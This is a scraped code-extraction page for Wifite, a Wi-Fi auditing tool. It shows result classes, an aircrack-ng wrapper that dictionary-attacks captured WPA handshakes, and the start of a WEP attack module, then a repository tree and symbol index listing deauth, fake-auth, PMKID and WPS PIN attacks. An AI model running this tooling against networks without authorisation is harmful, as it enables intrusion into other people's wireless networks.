    def to_dict(self):
        return {
            'type'  : self.result_type,
            'date'  : self.date,
            'essid' : self.essid,
            'bssid' : self.bssid,
            'key'   : self.key,
            'handshake_file' : self.handshake_file
        }

if __name__ == '__main__':
    w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234')
    w.dump()

    w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key')
    print('\n')
    w.dump()
    w.save()
    print(w.__dict__['bssid'])



================================================
FILE: wifite/model/wps_result.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..util.color import Color
from ..model.result import CrackResult

import time

class CrackResultWPS(CrackResult):
    def __init__(self, bssid, essid, pin, psk):
        self.result_type = 'WPS'
        self.bssid = bssid
        self.essid = essid
        self.pin   = pin
        self.psk   = psk
        super(CrackResultWPS, self).__init__()

    def dump(self):
        if self.essid is not None:
            Color.pl('{+} %s: {C}%s{W}' % (      'ESSID'.rjust(12), self.essid))
        if self.psk is None:
            psk = '{O}N/A{W}'
        else:
            psk = '{G}%s{W}' % self.psk
        Color.pl('{+} %s: {C}%s{W}'     % (      'BSSID'.rjust(12), self.bssid))
        Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12))
        Color.pl('{+} %s: {G}%s{W}'     % (     'WPS PIN'.rjust(12), self.pin))
        Color.pl('{+} %s: {G}%s{W}'     % ('PSK/Password'.rjust(12), psk))

    def print_single_line(self, longest_essid):
        self.print_single_line_prefix(longest_essid)
        Color.p('{G}%s{W}' % 'WPS'.ljust(5))
        Color.p('  ')
        if self.psk:
            Color.p('Key: {G}%s{W} ' % self.psk)
        Color.p('PIN: {G}%s{W}' % self.pin)
        Color.pl('')

    def to_dict(self):
        return {
            'type'  : self.result_type,
            'date'  : self.date,
            'essid' : self.essid,
            'bssid' : self.bssid,
            'pin'   : self.pin,
            'psk'   : self.psk
        }

if __name__ == '__main__':
    crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')
    crw.dump()
    crw.save()



================================================
FILE: wifite/tools/__init__.py
================================================


================================================
FILE: wifite/tools/aircrack.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from .dependency import Dependency
from ..util.process import Process
from ..util.input import xrange
from ..config import Configuration

import os
import re

class Aircrack(Dependency):
    dependency_required = True
    dependency_name = 'aircrack-ng'
    dependency_url = 'https://www.aircrack-ng.org/install.html'

    def __init__(self, ivs_file=None):

        self.cracked_file = os.path.abspath(
                os.path.join(
                    Configuration.temp(), 'wepkey.txt'))

        # Delete previous cracked files
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)

        command = [
            'aircrack-ng',
            '-a', '1',
            '-l', self.cracked_file,
        ]
        if type(ivs_file) is str:
            ivs_file = [ivs_file]

        command.extend(ivs_file)

        self.pid = Process(command, devnull=True)


    def is_running(self):
        return self.pid.poll() is None

    def is_cracked(self):
        return os.path.exists(self.cracked_file)

    def stop(self):
        ''' Stops aircrack process '''
        if self.pid.poll() is None:
            self.pid.interrupt()

    def get_key_hex_ascii(self):
        if not self.is_cracked():
            raise Exception('Cracked file not found')

        with open(self.cracked_file, 'r') as fid:
            hex_raw = fid.read()

        return self._hex_and_ascii_key(hex_raw)

    @staticmethod
    def _hex_and_ascii_key(hex_raw):
        hex_chars = []
        ascii_key = ''
        for index in xrange(0, len(hex_raw), 2):
            byt = hex_raw[index:index+2]
            hex_chars.append(byt)
            byt_int = int(byt, 16)
            if byt_int < 32 or byt_int > 127 or ascii_key is None:
                ascii_key = None  # Not printable
            else:
                ascii_key += chr(byt_int)

        hex_key = ':'.join(hex_chars)

        return (hex_key, ascii_key)

    def __del__(self):
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)


    @staticmethod
    def crack_handshake(handshake, show_command=False):
        from ..util.color import Color
        from ..util.timer import Timer
        '''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''

        key_file = Configuration.temp('wpakey.txt')
        command = [
            'aircrack-ng',
            '-a', '2',
            '-w', Configuration.wordlist,
            '--bssid', handshake.bssid,
            '-l', key_file,
            handshake.capfile
        ]
        if show_command:
            Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
        crack_proc = Process(command)

        # Report progress of cracking
        aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s')
        aircrack_key_re  = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$')
        num_tried = num_total = 0
        percent = num_kps = 0.0
        eta_str = 'unknown'
        current_key = ''
        while crack_proc.poll() is None:
            line = crack_proc.pid.stdout.readline()
            match_nums = aircrack_nums_re.search(line.decode('utf-8'))
            match_keys = aircrack_key_re.search(line.decode('utf-8'))
            if match_nums:
                num_tried = int(match_nums.group(1))
                num_total = int(match_nums.group(2))
                num_kps = float(match_nums.group(3))
                eta_seconds = (num_total - num_tried) / num_kps
                eta_str = Timer.secs_to_str(eta_seconds)
                percent = 100.0 * float(num_tried) / float(num_total)
            elif match_keys:
                current_key = match_keys.group(1)
            else:
                continue

            status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent
            status += ' ETA: {C}%s{W}' % eta_str
            status += ' @ {C}%0.1fkps{W}' % num_kps
            #status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)
            status += ' (current key: {C}%s{W})' % current_key
            Color.clear_entire_line()
            Color.p(status)

        Color.pl('')

        # Check crack result
        if os.path.exists(key_file):
            with open(key_file, 'r') as fid:
                key = fid.read().strip()
            os.remove(key_file)

            return key
        else:
            return None


if __name__ == '__main__':
    (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1')
    assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey
    assert asciikey is None, 'asciikey was "%s", expected None' % asciikey

    (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465')
    assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey
    assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey

    from time import sleep

    Configuration.initialize(False)

    ivs_file = 'tests/files/wep-crackable.ivs'
    print('Running aircrack on %s ...' % ivs_file)

    aircrack = Aircrack(ivs_file)
    while aircrack.is_running():
        sleep(1)

    assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file
    print('aircrack process completed.')

    (hexkey, asciikey) = aircrack.get_key_hex_ascii()
    print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey))
    assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey
    assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey

    Configuration.exit_gracefully(0)


================================================
FILE: wifite/tools/aireplay.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.timer import Timer

import os, time, re
from threading import Thread

class WEPAttackType(object):
    ''' Enumeration of different WEP attack types '''
    fakeauth     = 0
    replay       = 1
    chopchop     = 2
    fragment     = 3
    caffelatte   = 4
    p0841        = 5
    hirte        = 6
    forgedreplay = 7

    def __init__(self, var):
        '''
            Sets appropriate attack name/value given an input.
            Args:
                var - Can be a string, number, or WEPAttackType object
                      This object's name & value is set depending on var.
        '''
        self.value = None
        self.name = None
        if type(var) is int:
            for (name,value) in WEPAttackType.__dict__.items():
                if type(value) is int:
                    if value == var:
                        self.name = name
                        self.value = value
                        return
            raise Exception('Attack number %d not found' % var)
        elif type(var) is str:
            for (name,value) in WEPAttackType.__dict__.items():
                if type(value) is int:
                    if name == var:
                        self.name = name
                        self.value = value
                        return
            raise Exception('Attack name %s not found' % var)
        elif type(var) == WEPAttackType:
            self.name = var.name
            self.value = var.value
        else:
            raise Exception('Attack type not supported')

    def __str__(self):
        
Download .txt
gitextract_vobs948i/

├── .gitignore
├── Dockerfile
├── EVILTWIN.md
├── LICENSE
├── MANIFEST.in
├── PMKID.md
├── README.md
├── TODO.md
├── Wifite.py
├── bin/
│   └── wifite
├── runtests.sh
├── setup.cfg
├── setup.py
├── tests/
│   ├── __init__.py
│   ├── files/
│   │   ├── airmon.output
│   │   ├── airodump-weird-ssids.csv
│   │   ├── airodump.csv
│   │   ├── contains_wps_network.cap
│   │   ├── handshake_exists.cap
│   │   ├── handshake_exists.cap.stripped.tshark
│   │   ├── handshake_has_1234.cap
│   │   ├── handshake_not_exists.cap
│   │   ├── wep-crackable.ivs
│   │   └── wep-uncrackable.ivs
│   ├── test_Airmon.py
│   ├── test_Airodump.py
│   ├── test_Handshake.py
│   └── test_Target.py
├── wifite/
│   ├── __init__.py
│   ├── __main__.py
│   ├── args.py
│   ├── attack/
│   │   ├── __init__.py
│   │   ├── all.py
│   │   ├── pmkid.py
│   │   ├── wep.py
│   │   ├── wpa.py
│   │   └── wps.py
│   ├── config.py
│   ├── model/
│   │   ├── __init__.py
│   │   ├── attack.py
│   │   ├── client.py
│   │   ├── handshake.py
│   │   ├── pmkid_result.py
│   │   ├── result.py
│   │   ├── target.py
│   │   ├── wep_result.py
│   │   ├── wpa_result.py
│   │   └── wps_result.py
│   ├── tools/
│   │   ├── __init__.py
│   │   ├── aircrack.py
│   │   ├── aireplay.py
│   │   ├── airmon.py
│   │   ├── airodump.py
│   │   ├── bully.py
│   │   ├── cowpatty.py
│   │   ├── dependency.py
│   │   ├── hashcat.py
│   │   ├── ifconfig.py
│   │   ├── iwconfig.py
│   │   ├── john.py
│   │   ├── macchanger.py
│   │   ├── pyrit.py
│   │   ├── reaver.py
│   │   ├── tshark.py
│   │   └── wash.py
│   └── util/
│       ├── __init__.py
│       ├── color.py
│       ├── crack.py
│       ├── input.py
│       ├── process.py
│       ├── scanner.py
│       └── timer.py
└── wordlist-top4800-probable.txt
Download .txt
SYMBOL INDEX (311 symbols across 42 files)

FILE: tests/test_Airmon.py
  class TestAirmon (line 11) | class TestAirmon(unittest.TestCase):
    method test_airmon_start (line 12) | def test_airmon_start(self):

FILE: tests/test_Airodump.py
  class TestAirodump (line 11) | class TestAirodump(unittest.TestCase):
    method test_airodump_weird_characters (line 15) | def test_airodump_weird_characters(self):
    method getFile (line 43) | def getFile(self, filename):

FILE: tests/test_Handshake.py
  class TestHandshake (line 12) | class TestHandshake(unittest.TestCase):
    method getFile (line 15) | def getFile(self, filename):
    method testAnalyze (line 22) | def testAnalyze(self):
    method testHandshakeTshark (line 31) | def testHandshakeTshark(self):
    method testHandshakePyrit (line 37) | def testHandshakePyrit(self):
    method testHandshakeCowpatty (line 43) | def testHandshakeCowpatty(self):
    method testHandshakeAircrack (line 50) | def testHandshakeAircrack(self):

FILE: tests/test_Target.py
  class TestTarget (line 8) | class TestTarget(unittest.TestCase):
    method getTargets (line 13) | def getTargets(self, filename):
    method testTargetParsing (line 22) | def testTargetParsing(self):
    method testTargetClients (line 27) | def testTargetClients(self):

FILE: wifite/__main__.py
  class Wifite (line 15) | class Wifite(object):
    method __init__ (line 17) | def __init__(self):
    method start (line 35) | def start(self):
    method print_banner (line 57) | def print_banner(self):
    method scan_and_attack (line 67) | def scan_and_attack(self):
  function entry_point (line 90) | def entry_point():

FILE: wifite/args.py
  class Arguments (line 8) | class Arguments(object):
    method __init__ (line 11) | def __init__(self, configuration):
    method _verbose (line 17) | def _verbose(self, msg):
    method get_arguments (line 23) | def get_arguments(self):
    method _add_global_args (line 41) | def _add_global_args(self, glob):
    method _add_eviltwin_args (line 158) | def _add_eviltwin_args(self, group):
    method _add_wep_args (line 170) | def _add_wep_args(self, wep):
    method _add_wpa_args (line 288) | def _add_wpa_args(self, wpa):
    method _add_wps_args (line 352) | def _add_wps_args(self, wps):
    method _add_pmkid_args (line 430) | def _add_pmkid_args(self, pmkid):
    method _add_command_args (line 447) | def _add_command_args(self, commands):

FILE: wifite/attack/all.py
  class AttackAll (line 11) | class AttackAll(object):
    method attack_multiple (line 14) | def attack_multiple(cls, targets):
    method attack_single (line 42) | def attack_single(cls, target, targets_remaining):
    method user_wants_to_continue (line 109) | def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):

FILE: wifite/attack/pmkid.py
  class AttackPMKID (line 17) | class AttackPMKID(Attack):
    method __init__ (line 19) | def __init__(self, target):
    method get_existing_pmkid_file (line 26) | def get_existing_pmkid_file(self, bssid):
    method run (line 56) | def run(self):
    method capture_pmkid (line 104) | def capture_pmkid(self):
    method crack_pmkid_file (line 143) | def crack_pmkid_file(self, pmkid_file):
    method dumptool_thread (line 183) | def dumptool_thread(self):
    method save_pmkid (line 194) | def save_pmkid(self, pmkid_hash):

FILE: wifite/attack/wep.py
  class AttackWEP (line 16) | class AttackWEP(Attack):
    method __init__ (line 23) | def __init__(self, target):
    method run (line 28) | def run(self):
    method user_wants_to_stop (line 265) | def user_wants_to_stop(self, current_attack, attacks_remaining, target):
    method fake_auth (line 331) | def fake_auth(self):

FILE: wifite/attack/wpa.py
  class AttackWPA (line 20) | class AttackWPA(Attack):
    method __init__ (line 21) | def __init__(self, target):
    method run (line 27) | def run(self):
    method capture_handshake (line 82) | def capture_handshake(self):
    method load_handshake (line 181) | def load_handshake(self, bssid, essid):
    method save_handshake (line 200) | def save_handshake(self, handshake):
    method deauth (line 233) | def deauth(self, target):

FILE: wifite/attack/wps.py
  class AttackWPS (line 11) | class AttackWPS(Attack):
    method can_attack_wps (line 14) | def can_attack_wps():
    method __init__ (line 17) | def __init__(self, target, pixie_dust=False):
    method run (line 23) | def run(self):
    method run_bully (line 71) | def run_bully(self):
    method run_reaver (line 80) | def run_reaver(self):

FILE: wifite/config.py
  class Configuration (line 9) | class Configuration(object):
    method initialize (line 19) | def initialize(cls, load_interface=True):
    method get_monitor_mode_interface (line 128) | def get_monitor_mode_interface(cls):
    method load_from_arguments (line 137) | def load_from_arguments(cls):
    method validate (line 167) | def validate(cls):
    method parse_settings_args (line 174) | def parse_settings_args(cls, args):
    method parse_wep_args (line 243) | def parse_wep_args(cls, args):
    method parse_wpa_args (line 283) | def parse_wpa_args(cls, args):
    method parse_wps_args (line 324) | def parse_wps_args(cls, args):
    method parse_pmkid_args (line 387) | def parse_pmkid_args(cls, args):
    method parse_encryption (line 397) | def parse_encryption(cls):
    method parse_wep_attacks (line 415) | def parse_wep_attacks(cls):
    method temp (line 445) | def temp(cls, subfile=''):
    method create_temp (line 452) | def create_temp():
    method delete_temp (line 461) | def delete_temp(cls):
    method exit_gracefully (line 471) | def exit_gracefully(cls, code=0):
    method dump (line 493) | def dump(cls):

FILE: wifite/model/attack.py
  class Attack (line 6) | class Attack(object):
    method __init__ (line 11) | def __init__(self, target):
    method run (line 14) | def run(self):
    method wait_for_target (line 17) | def wait_for_target(self, airodump):

FILE: wifite/model/client.py
  class Client (line 4) | class Client(object):
    method __init__ (line 10) | def __init__(self, fields):
    method __str__ (line 30) | def __str__(self):

FILE: wifite/model/handshake.py
  class Handshake (line 11) | class Handshake(object):
    method __init__ (line 13) | def __init__(self, capfile, bssid=None, essid=None):
    method divine_bssid_and_essid (line 19) | def divine_bssid_and_essid(self):
    method has_handshake (line 69) | def has_handshake(self):
    method tshark_handshakes (line 83) | def tshark_handshakes(self):
    method cowpatty_handshakes (line 89) | def cowpatty_handshakes(self):
    method pyrit_handshakes (line 110) | def pyrit_handshakes(self):
    method aircrack_handshakes (line 116) | def aircrack_handshakes(self):
    method analyze (line 130) | def analyze(self):
    method strip (line 146) | def strip(self, outfile=None):
    method print_pairs (line 177) | def print_pairs(pairs, capfile, tool=None):
    method check (line 200) | def check():

FILE: wifite/model/pmkid_result.py
  class CrackResultPMKID (line 7) | class CrackResultPMKID(CrackResult):
    method __init__ (line 8) | def __init__(self, bssid, essid, pmkid_file, key):
    method dump (line 16) | def dump(self):
    method print_single_line (line 33) | def print_single_line(self, longest_essid):
    method to_dict (line 40) | def to_dict(self):

FILE: wifite/model/result.py
  class CrackResult (line 11) | class CrackResult(object):
    method __init__ (line 17) | def __init__(self):
    method dump (line 21) | def dump(self):
    method to_dict (line 24) | def to_dict(self):
    method print_single_line (line 27) | def print_single_line(self, longest_essid):
    method print_single_line_prefix (line 30) | def print_single_line_prefix(self, longest_essid):
    method save (line 40) | def save(self):
    method display (line 70) | def display(cls):
    method load_all (line 111) | def load_all(cls):
    method load (line 118) | def load(json):

FILE: wifite/model/target.py
  class WPSState (line 9) | class WPSState:
  class Target (line 13) | class Target(object):
    method __init__ (line 18) | def __init__(self, fields):
    method validate (line 76) | def validate(self):
    method to_str (line 90) | def to_str(self, show_bssid=False):

FILE: wifite/model/wep_result.py
  class CrackResultWEP (line 9) | class CrackResultWEP(CrackResult):
    method __init__ (line 10) | def __init__(self, bssid, essid, hex_key, ascii_key):
    method dump (line 18) | def dump(self):
    method print_single_line (line 27) | def print_single_line(self, longest_essid):
    method to_dict (line 36) | def to_dict(self):

FILE: wifite/model/wpa_result.py
  class CrackResultWPA (line 7) | class CrackResultWPA(CrackResult):
    method __init__ (line 8) | def __init__(self, bssid, essid, handshake_file, key):
    method dump (line 16) | def dump(self):
    method print_single_line (line 33) | def print_single_line(self, longest_essid):
    method to_dict (line 40) | def to_dict(self):

FILE: wifite/model/wps_result.py
  class CrackResultWPS (line 9) | class CrackResultWPS(CrackResult):
    method __init__ (line 10) | def __init__(self, bssid, essid, pin, psk):
    method dump (line 18) | def dump(self):
    method print_single_line (line 30) | def print_single_line(self, longest_essid):
    method to_dict (line 39) | def to_dict(self):

FILE: wifite/tools/aircrack.py
  class Aircrack (line 12) | class Aircrack(Dependency):
    method __init__ (line 17) | def __init__(self, ivs_file=None):
    method is_running (line 40) | def is_running(self):
    method is_cracked (line 43) | def is_cracked(self):
    method stop (line 46) | def stop(self):
    method get_key_hex_ascii (line 51) | def get_key_hex_ascii(self):
    method _hex_and_ascii_key (line 61) | def _hex_and_ascii_key(hex_raw):
    method __del__ (line 77) | def __del__(self):
    method crack_handshake (line 83) | def crack_handshake(handshake, show_command=False):

FILE: wifite/tools/aireplay.py
  class WEPAttackType (line 12) | class WEPAttackType(object):
    method __init__ (line 23) | def __init__(self, var):
    method __str__ (line 54) | def __str__(self):
  class Aireplay (line 58) | class Aireplay(Thread, Dependency):
    method __init__ (line 63) | def __init__(self, target, attack_type, client_mac=None, replay_file=N...
    method is_running (line 88) | def is_running(self):
    method stop (line 91) | def stop(self):
    method get_output (line 96) | def get_output(self):
    method run (line 100) | def run(self):
    method __del__ (line 233) | def __del__(self):
    method get_aireplay_command (line 237) | def get_aireplay_command(target, attack_type,
    method get_xor (line 352) | def get_xor():
    method forge_packet (line 362) | def forge_packet(xor_file, bssid, station_mac):
    method deauth (line 388) | def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None...
    method fakeauth (line 411) | def fakeauth(target, timeout=5, num_attempts=3):

FILE: wifite/tools/airmon.py
  class AirmonIface (line 16) | class AirmonIface(object):
    method __init__ (line 17) | def __init__(self, phy, interface, driver, chipset):
    method __str__ (line 30) | def __str__(self):
    method menu_header (line 40) | def menu_header():
  class Airmon (line 52) | class Airmon(Dependency):
    method __init__ (line 67) | def __init__(self):
    method refresh (line 70) | def refresh(self):
    method print_menu (line 74) | def print_menu(self):
    method get (line 80) | def get(self, index):
    method get_interfaces (line 88) | def get_interfaces():
    method start_bad_driver (line 111) | def start_bad_driver(iface):
    method stop_bad_driver (line 130) | def stop_bad_driver(iface):
    method start (line 149) | def start(iface):
    method _parse_airmon_start (line 203) | def _parse_airmon_start(airmon_output):
    method stop (line 218) | def stop(iface):
    method _parse_airmon_stop (line 238) | def _parse_airmon_stop(airmon_output):
    method ask (line 269) | def ask():
    method terminate_conflicting_processes (line 324) | def terminate_conflicting_processes():
    method put_interface_up (line 375) | def put_interface_up(iface):
    method start_network_manager (line 381) | def start_network_manager():

FILE: wifite/tools/airodump.py
  class Airodump (line 14) | class Airodump(Dependency):
    method __init__ (line 20) | def __init__(self, interface=None, channel=None, encryption=None,\
    method __enter__ (line 57) | def __enter__(self):
    method __exit__ (line 91) | def __exit__(self, type, value, traceback):
    method find_files (line 103) | def find_files(self, endswith=None):
    method find_files_by_output_prefix (line 107) | def find_files_by_output_prefix(cls, output_file_prefix, endswith=None):
    method delete_airodump_temp_files (line 121) | def delete_airodump_temp_files(cls, output_file_prefix):
    method get_targets (line 141) | def get_targets(self, old_targets=[], apply_filter=True):
    method get_targets_from_csv (line 193) | def get_targets_from_csv(csv_filename):
    method filter_targets (line 253) | def filter_targets(targets, skip_wps=False):
    method deauth_hidden_targets (line 284) | def deauth_hidden_targets(self):

FILE: wifite/tools/bully.py
  class Bully (line 16) | class Bully(Attack, Dependency):
    method __init__ (line 21) | def __init__(self, target, pixie_dust=True):
    method run (line 68) | def run(self):
    method _run (line 100) | def _run(self, airodump):
    method pattack (line 146) | def pattack(self, message, newline=False):
    method running_time (line 175) | def running_time(self):
    method get_status (line 179) | def get_status(self):
    method parse_line_thread (line 198) | def parse_line_thread(self):
    method parse_crack_result (line 215) | def parse_crack_result(self, line):
    method parse_state (line 262) | def parse_state(self, line):
    method stop (line 353) | def stop(self):
    method __del__ (line 358) | def __del__(self):
    method get_psk_from_pin (line 363) | def get_psk_from_pin(target, pin):

FILE: wifite/tools/cowpatty.py
  class Cowpatty (line 14) | class Cowpatty(Dependency):
    method crack_handshake (line 22) | def crack_handshake(handshake, show_command=False):

FILE: wifite/tools/dependency.py
  class Dependency (line 4) | class Dependency(object):
    method __init_subclass__ (line 8) | def __init_subclass__(cls):
    method exists (line 18) | def exists(cls):
    method run_dependency_check (line 24) | def run_dependency_check(cls):
    method fails_dependency_check (line 65) | def fails_dependency_check(cls):

FILE: wifite/tools/hashcat.py
  class Hashcat (line 12) | class Hashcat(Dependency):
    method should_use_force (line 18) | def should_use_force():
    method crack_handshake (line 24) | def crack_handshake(handshake, show_command=False):
    method crack_pmkid (line 59) | def crack_pmkid(pmkid_file, verbose=False):
  class HcxDumpTool (line 98) | class HcxDumpTool(Dependency):
    method __init__ (line 103) | def __init__(self, target, pcapng_file):
    method poll (line 123) | def poll(self):
    method interrupt (line 126) | def interrupt(self):
  class HcxPcapTool (line 130) | class HcxPcapTool(Dependency):
    method __init__ (line 135) | def __init__(self, target):
    method generate_hccapx_file (line 141) | def generate_hccapx_file(handshake, show_command=False):
    method generate_john_file (line 164) | def generate_john_file(handshake, show_command=False):
    method get_pmkid_hash (line 186) | def get_pmkid_hash(self, pcapng_file):

FILE: wifite/tools/ifconfig.py
  class Ifconfig (line 8) | class Ifconfig(Dependency):
    method up (line 14) | def up(cls, interface, args=[]):
    method down (line 32) | def down(cls, interface):
    method get_mac (line 43) | def get_mac(cls, interface):

FILE: wifite/tools/iwconfig.py
  class Iwconfig (line 6) | class Iwconfig(Dependency):
    method mode (line 13) | def mode(cls, iface, mode_name):
    method get_interfaces (line 23) | def get_interfaces(cls, mode=None):

FILE: wifite/tools/john.py
  class John (line 13) | class John(Dependency):
    method crack_handshake (line 21) | def crack_handshake(handshake, show_command=False):

FILE: wifite/tools/macchanger.py
  class Macchanger (line 8) | class Macchanger(Dependency):
    method down_macch_up (line 16) | def down_macch_up(cls, iface, options):
    method get_interface (line 47) | def get_interface(cls):
    method reset (line 54) | def reset(cls):
    method random (line 66) | def random(cls):
    method reset_if_changed (line 86) | def reset_if_changed(cls):

FILE: wifite/tools/pyrit.py
  class Pyrit (line 8) | class Pyrit(Dependency):
    method __init__ (line 14) | def __init__(self):
    method bssid_essid_with_handshakes (line 19) | def bssid_essid_with_handshakes(capfile, bssid=None, essid=None):

FILE: wifite/tools/reaver.py
  class Reaver (line 16) | class Reaver(Attack, Dependency):
    method __init__ (line 21) | def __init__(self, target, pixie_dust=True):
    method is_pixiedust_supported (line 57) | def is_pixiedust_supported():
    method run (line 62) | def run(self):
    method _run (line 82) | def _run(self):
    method get_status (line 136) | def get_status(self):
    method parse_crack_result (line 164) | def parse_crack_result(self, stdout):
    method parse_failure (line 200) | def parse_failure(self, stdout):
    method parse_state (line 220) | def parse_state(self, stdout):
    method pattack (line 294) | def pattack(self, message, newline=False):
    method running_time (line 315) | def running_time(self):
    method get_pin_psk_ssid (line 320) | def get_pin_psk_ssid(stdout):
    method get_output (line 359) | def get_output(self):

FILE: wifite/tools/tshark.py
  class Tshark (line 9) | class Tshark(Dependency):
    method __init__ (line 15) | def __init__(self):
    method _extract_src_dst_index_total (line 20) | def _extract_src_dst_index_total(line):
    method _build_target_client_handshake_map (line 32) | def _build_target_client_handshake_map(output, bssid=None):
    method bssids_with_handshakes (line 83) | def bssids_with_handshakes(capfile, bssid=None):
    method bssid_essid_pairs (line 110) | def bssid_essid_pairs(capfile, bssid):
    method check_for_wps_and_update_targets (line 151) | def check_for_wps_and_update_targets(capfile, targets):

FILE: wifite/tools/wash.py
  class Wash (line 9) | class Wash(Dependency):
    method __init__ (line 15) | def __init__(self):
    method check_for_wps_and_update_targets (line 20) | def check_for_wps_and_update_targets(capfile, targets):

FILE: wifite/util/color.py
  class Color (line 6) | class Color(object):
    method p (line 32) | def p(text):
    method pl (line 47) | def pl(text):
    method pe (line 53) | def pe(text):
    method s (line 59) | def s(text):
    method clear_line (line 69) | def clear_line():
    method clear_entire_line (line 76) | def clear_entire_line():
    method pattack (line 83) | def pattack(attack_type, target, attack_name, progress):
    method pexception (line 96) | def pexception(exception):

FILE: wifite/util/crack.py
  class CrackHelper (line 25) | class CrackHelper:
    method run (line 34) | def run(cls):
    method is_cracked (line 100) | def is_cracked(cls, file):
    method get_handshakes (line 115) | def get_handshakes(cls):
    method print_handshakes (line 181) | def print_handshakes(cls, handshakes):
    method get_user_selection (line 204) | def get_user_selection(cls, handshakes):
    method crack (line 227) | def crack(cls, hs, tool):
    method crack_4way (line 250) | def crack_4way(cls, hs, tool):
    method crack_pmkid (line 277) | def crack_pmkid(cls, hs, tool):

FILE: wifite/util/process.py
  class Process (line 14) | class Process(object):
    method devnull (line 18) | def devnull():
    method call (line 23) | def call(command, cwd=None, shell=False):
    method exists (line 55) | def exists(program):
    method __init__ (line 66) | def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, c...
    method __del__ (line 91) | def __del__(self):
    method stdout (line 102) | def stdout(self):
    method stderr (line 109) | def stderr(self):
    method stdoutln (line 116) | def stdoutln(self):
    method stderrln (line 119) | def stderrln(self):
    method stdin (line 122) | def stdin(self, text):
    method get_output (line 127) | def get_output(self):
    method poll (line 142) | def poll(self):
    method wait (line 146) | def wait(self):
    method running_time (line 149) | def running_time(self):
    method interrupt (line 153) | def interrupt(self, wait_time=2.0):

FILE: wifite/util/scanner.py
  class Scanner (line 12) | class Scanner(object):
    method __init__ (line 18) | def __init__(self):
    method found_target (line 78) | def found_target(self):
    method print_targets (line 108) | def print_targets(self):
    method get_terminal_height (line 157) | def get_terminal_height():
    method get_terminal_width (line 163) | def get_terminal_width():
    method select_targets (line 168) | def select_targets(self):

FILE: wifite/util/timer.py
  class Timer (line 6) | class Timer(object):
    method __init__ (line 7) | def __init__(self, seconds):
    method remaining (line 11) | def remaining(self):
    method ended (line 14) | def ended(self):
    method running_time (line 17) | def running_time(self):
    method __str__ (line 20) | def __str__(self):
    method secs_to_str (line 25) | def secs_to_str(seconds):
Condensed preview — 73 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (393K chars).
[
  {
    "path": ".gitignore",
    "chars": 80,
    "preview": "*.swp\n*.pyc\npy/hs/\nhs/\n*.bak\n.idea/\ncracked.txt\nMANIFEST\ndist/\nbuild/\nfiles.txt\n"
  },
  {
    "path": "Dockerfile",
    "chars": 1750,
    "preview": "FROM python:2.7.14-jessie\n\nENV DEBIAN_FRONTEND noninteractive\nENV HASHCAT_VERSION hashcat-3.6.0\n\n# Install requirements\n"
  },
  {
    "path": "EVILTWIN.md",
    "chars": 13229,
    "preview": "An idea from Sandman: Include \"Evil Twin\" attack in Wifite.\n\nThis page tracks the requirements for such a feature.\n\nEvil"
  },
  {
    "path": "LICENSE",
    "chars": 18046,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Fr"
  },
  {
    "path": "MANIFEST.in",
    "chars": 56,
    "preview": "include README.md\ninclude wordlist-top4800-probable.txt\n"
  },
  {
    "path": "PMKID.md",
    "chars": 1342,
    "preview": "### PMKID Attack\n\nSee https://hashcat.net/forum/thread-7717.html\n\n### Steps\n\n1. Start `hcxdumptool` (daemon)\n   * `sudo "
  },
  {
    "path": "README.md",
    "chars": 8093,
    "preview": "Wifite\n======\n\nThis repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for aud"
  },
  {
    "path": "TODO.md",
    "chars": 13467,
    "preview": "# TODO\n\nThis file is a braindump of ideas to improve Wifite2 (or forward-looking to \"Wifite3\")\n\n------------------------"
  },
  {
    "path": "Wifite.py",
    "chars": 239,
    "preview": "#!/usr/bin/env python\n\n# Note: This script runs Wifite from within a cloned git repo.\n# The script `bin/wifite` is desig"
  },
  {
    "path": "bin/wifite",
    "chars": 74,
    "preview": "#!/usr/bin/env python\n\nfrom wifite import __main__\n__main__.entry_point()\n"
  },
  {
    "path": "runtests.sh",
    "chars": 50,
    "preview": "#!/bin/sh\npython2.7 -m unittest discover tests -v\n"
  },
  {
    "path": "setup.cfg",
    "chars": 36,
    "preview": "[install]\ninstall-scripts=/usr/sbin\n"
  },
  {
    "path": "setup.py",
    "chars": 1057,
    "preview": "from distutils.core import setup\n\nfrom wifite.config import Configuration\n\nsetup(\n    name='wifite',\n    version=Configu"
  },
  {
    "path": "tests/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
